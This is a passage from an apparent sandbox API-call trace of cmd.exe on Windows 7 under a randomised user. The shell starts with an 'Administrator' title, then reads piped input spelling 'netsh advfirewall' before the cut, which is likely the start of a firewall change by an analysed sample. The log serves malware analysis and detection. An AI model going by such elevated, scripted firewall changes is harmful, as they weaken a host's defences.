hFindFile=0x49b740) returned 1 [0079.835] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0079.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x30f3c0 | out: lpFindFileData=0x30f3c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf3295280, ftLastAccessTime.dwHighDateTime=0x1d60ce5, ftLastWriteTime.dwLowDateTime=0xf3295280, ftLastWriteTime.dwHighDateTime=0x1d60ce5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x49b740 [0079.835] FindClose (in: hFindFile=0x49b740 | out: hFindFile=0x49b740) returned 1 [0079.835] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0079.836] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0079.836] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0079.836] GetProcessHeap () returned 0x480000 [0079.836] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49ac30 | out: hHeap=0x480000) returned 1 [0079.836] GetEnvironmentStringsW () returned 0x49b740* [0079.836] GetProcessHeap () returned 0x480000 [0079.836] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0xae8) returned 0x49c230 [0079.836] FreeEnvironmentStringsW (penv=0x49b740) returned 1 [0079.836] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a59c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.836] GetProcessHeap () returned 0x480000 [0079.836] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49b6d0 | out: hHeap=0x480000) returned 1 [0079.836] GetProcessHeap () returned 0x480000 [0079.836] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x4016) returned 0x49cd20 [0079.837] GetProcessHeap () returned 0x480000 [0079.837] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49cd20 | out: hHeap=0x480000) returned 1 [0079.837] GetConsoleOutputCP () returned 0x1b5 [0079.837] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a59bfe0 | out: lpCPInfo=0x4a59bfe0) returned 1 [0079.837] GetUserDefaultLCID () returned 0x409 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a597b50, cchData=8 | out: lpLCData=":") returned 2 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x30f7c0, cchData=128 | out: lpLCData="0") returned 2 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x30f7c0, cchData=128 | out: lpLCData="0") returned 2 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x30f7c0, cchData=128 | out: lpLCData="1") returned 2 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a5aa740, cchData=8 | out: lpLCData="/") returned 2 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a5aa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a5aa460, cchData=32 | out: lpLCData="Tue") returned 4 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a5aa420, cchData=32 | out: lpLCData="Wed") returned 4 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a5aa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a5aa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a5aa360, cchData=32 | out: lpLCData="Sat") returned 4 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a5aa700, cchData=32 | out: lpLCData="Sun") returned 4 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a597b40, cchData=8 | out: lpLCData=".") returned 2 [0079.838] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a5aa4e0, cchData=8 | out: lpLCData=",") returned 2 [0079.838] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0079.839] GetProcessHeap () returned 0x480000 [0079.840] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x0, Size=0x20c) returned 0x4995c0 [0079.840] GetConsoleTitleW (in: lpConsoleTitle=0x4995c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.840] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.840] GetFileType (hFile=0x114) returned 0x3 [0079.840] BrandingFormatString () returned 0x4997e0 [0079.852] GetVersion () returned 0x1db10106 [0079.853] _vsnwprintf (in: _Buffer=0x30f930, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x30f8c8 | out: _Buffer="6.1.7601") returned 8 [0079.853] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.853] GetFileType (hFile=0x114) returned 0x3 [0079.853] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a5a6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0079.854] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a5a6340, nSize=0x2000, Arguments=0x30f8d0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0079.854] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0079.854] WriteFile (in: hFile=0x114, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x30f858, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x30f858*=0x24, lpOverlapped=0x0) returned 1 [0079.855] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x30f8f8 | out: _Buffer="\r\n") returned 2 [0079.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.855] GetFileType (hFile=0x114) returned 0x3 [0079.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.855] WriteFile (in: hFile=0x114, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x30f8c8, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x30f8c8*=0x2, lpOverlapped=0x0) returned 1 [0079.855] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x30f8f8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0079.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.855] GetFileType (hFile=0x114) returned 0x3 [0079.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0079.855] WriteFile (in: hFile=0x114, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x30f8c8, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x30f8c8*=0x3f, lpOverlapped=0x0) returned 1 [0079.855] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x30f8f8 | out: _Buffer="\r\n") returned 2 [0079.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.855] GetFileType (hFile=0x114) returned 0x3 [0079.855] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.855] WriteFile (in: hFile=0x114, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x30f8c8, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x30f8c8*=0x2, lpOverlapped=0x0) returned 1 [0079.856] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0079.856] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0079.856] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0079.856] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0079.856] _get_osfhandle (_FileHandle=0) returned 0x108 [0079.856] GetFileType (hFile=0x108) returned 0x3 [0079.858] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0079.858] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x30f720 | out: TokenHandle=0x30f720*=0x0) returned 0xc000007c [0079.858] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x30f720 | out: TokenHandle=0x30f720*=0x50) returned 0x0 [0079.858] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x30f730, TokenInformationLength=0x4, ReturnLength=0x30f738 | out: TokenInformation=0x30f730, ReturnLength=0x30f738) returned 0x0 [0079.858] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x30f738, TokenInformationLength=0x4, ReturnLength=0x30f730 | out: TokenInformation=0x30f738, ReturnLength=0x30f730) returned 0x0 [0079.858] NtClose (Handle=0x50) returned 0x0 [0079.859] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x30f700, nSize=0x0, Arguments=0x30f708 | out: lpBuffer="韠I") returned 0xf [0079.859] GetProcessHeap () returned 0x480000 [0079.859] RtlAllocateHeap (HeapHandle=0x480000, Flags=0x8, Size=0x218) returned 0x481ab0 [0079.859] GetConsoleTitleW (in: lpConsoleTitle=0x30f750, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0079.864] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0079.865] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0079.882] GetProcessHeap () returned 0x480000 [0079.882] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x481ab0 | out: hHeap=0x480000) returned 1 [0079.882] LocalFree (hMem=0x4997e0) returned 0x0 [0079.883] GetProcessHeap () returned 0x480000 [0079.883] HeapFree (in: hHeap=0x480000, dwFlags=0x0, lpMem=0x49aa10 | out: hHeap=0x480000) returned 1 [0079.883] _vsnwprintf (in: _Buffer=0x4a5a6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x30f438 | out: _Buffer="\r\n") returned 2 [0079.883] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.883] GetFileType (hFile=0x114) returned 0x3 [0079.883] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.883] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0079.883] WriteFile (in: hFile=0x114, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x30f408, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x30f408*=0x2, lpOverlapped=0x0) returned 1 [0079.883] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a58f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0079.883] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a59c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0079.883] _vsnwprintf (in: _Buffer=0x4a58eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x30f448 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0079.883] _vsnwprintf (in: _Buffer=0x4a58ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x30f448 | out: _Buffer=">") returned 1 [0079.884] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.884] GetFileType (hFile=0x114) returned 0x3 [0079.884] _get_osfhandle (_FileHandle=1) returned 0x114 [0079.884] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a59c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0079.884] WriteFile (in: hFile=0x114, lpBuffer=0x4a59c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x30f438, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesWritten=0x30f438*=0x26, lpOverlapped=0x0) returned 1 [0079.884] _get_osfhandle (_FileHandle=0) returned 0x108 [0079.884] GetFileType (hFile=0x108) returned 0x3 [0079.884] _get_osfhandle (_FileHandle=0) returned 0x108 [0079.884] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0079.884] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0079.884] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e320, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0080.218] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.218] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.218] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.218] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e322, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.218] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.218] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.218] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.218] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e324, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0080.218] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.218] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.218] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.219] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e326, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0080.219] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.219] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.219] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.219] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e328, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0080.219] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.219] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.219] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.219] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e32a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.219] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.219] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.219] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.220] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e32c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0080.220] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.220] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.220] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.220] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e32e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0080.220] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.220] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.220] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.220] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e330, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0080.220] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.220] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.220] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.220] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e332, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0080.220] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.220] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.220] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.220] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e334, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0080.220] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.220] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.220] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.221] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e336, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0080.221] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.221] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.221] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.221] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e338, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0080.221] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.221] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.221] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.221] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e33a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0080.221] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.221] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.221] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.221] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e33c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0080.221] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.221] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.221] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.221] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e33e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0080.221] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.221] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.221] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.222] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e340, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0080.222] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.222] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.222] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.222] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a59c320, cbMultiByte=1, lpWideCharStr=0x4a59e342, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0080.222] _get_osfhandle (_FileHandle=0) returned 0x108 [0080.222] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0080.222] ReadFile (in: hFile=0x108, lpBuffer=0x4a59c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x30f738, lpOverlapped=0x0 | out: lpBuffer=0x4a59c320*, lpNumberOfBytesRead=0x30f738*=0x1, lpOverlapped=0x0) returned 1 [0080.222] MultiByteToWideChar (in: CodePage=0x1b5, 